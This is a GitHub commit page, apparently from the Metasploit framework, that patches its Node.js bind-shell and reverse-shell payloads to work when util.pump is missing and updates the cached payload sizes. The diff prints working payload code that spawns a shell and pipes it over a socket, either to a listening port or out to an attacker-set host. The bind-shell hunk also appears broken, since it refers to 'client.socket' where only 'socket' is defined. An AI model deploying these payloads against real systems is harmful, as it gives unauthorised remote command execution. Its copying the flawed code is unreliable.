Skip to content

Commit

Permalink
Land #8825, Handle missing util.pump in nodejs shell payloads
Browse files Browse the repository at this point in the history
  • Loading branch information
jmartin-tech committed Sep 11, 2017
2 parents 5f66b7e + 2576439 commit a58552d
Show file tree
Hide file tree
Showing 6 changed files with 19 additions and 9 deletions.
18 changes: 14 additions & 4 deletions lib/msf/core/payload/nodejs.rb
Original file line number Diff line number Diff line change
Expand Up @@ -18,8 +18,13 @@ def nodejs_bind_tcp
var server = net.createServer(function(socket) {
var sh = cp.spawn(cmd, []);
socket.pipe(sh.stdin);
util.pump(sh.stdout, socket);
util.pump(sh.stderr, socket);
if (typeof util.pump === "undefined") {
sh.stdout.pipe(client.socket);
sh.stderr.pipe(client.socket);
} else {
util.pump(sh.stdout, client.socket);
util.pump(sh.stderr, client.socket);
}
});
server.listen(#{datastore['LPORT']});
})();
Expand Down Expand Up @@ -53,8 +58,13 @@ def nodejs_reverse_tcp(opts={})
var client = this;
client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() {
client.socket.pipe(sh.stdin);
util.pump(sh.stdout, client.socket);
util.pump(sh.stderr, client.socket);
if (typeof util.pump === "undefined") {
sh.stdout.pipe(client.socket);
sh.stderr.pipe(client.socket);
} else {
util.pump(sh.stdout, client.socket);
util.pump(sh.stderr, client.socket);
}
});
})();
EOS
Expand Down
2 changes: 1 addition & 1 deletion modules/payloads/singles/cmd/unix/bind_nodejs.rb
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@

module MetasploitModule

CachedSize = 1843
CachedSize = 2351

include Msf::Payload::Single
include Msf::Payload::NodeJS
Expand Down
2 changes: 1 addition & 1 deletion modules/payloads/singles/cmd/unix/reverse_nodejs.rb
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@

module MetasploitModule

CachedSize = 1971
CachedSize = 2423

include Msf::Payload::Single
include Msf::Payload::NodeJS
Expand Down
2 changes: 1 addition & 1 deletion modules/payloads/singles/nodejs/shell_bind_tcp.rb
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,7 @@

module MetasploitModule

CachedSize = 456
CachedSize = 583

include Msf::Payload::Single
include Msf::Payload::NodeJS
Expand Down
2 changes: 1 addition & 1 deletion modules/payloads/singles/nodejs/shell_reverse_tcp.rb
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,7 @@

module MetasploitModule

CachedSize = 488
CachedSize = 601

include Msf::Payload::Single
include Msf::Payload::NodeJS
Expand Down
2 changes: 1 addition & 1 deletion modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@

module MetasploitModule

CachedSize = 516
CachedSize = 629

include Msf::Payload::Single
include Msf::Payload::NodeJS
Expand Down

0 comments on commit a58552d

Please sign in to comment.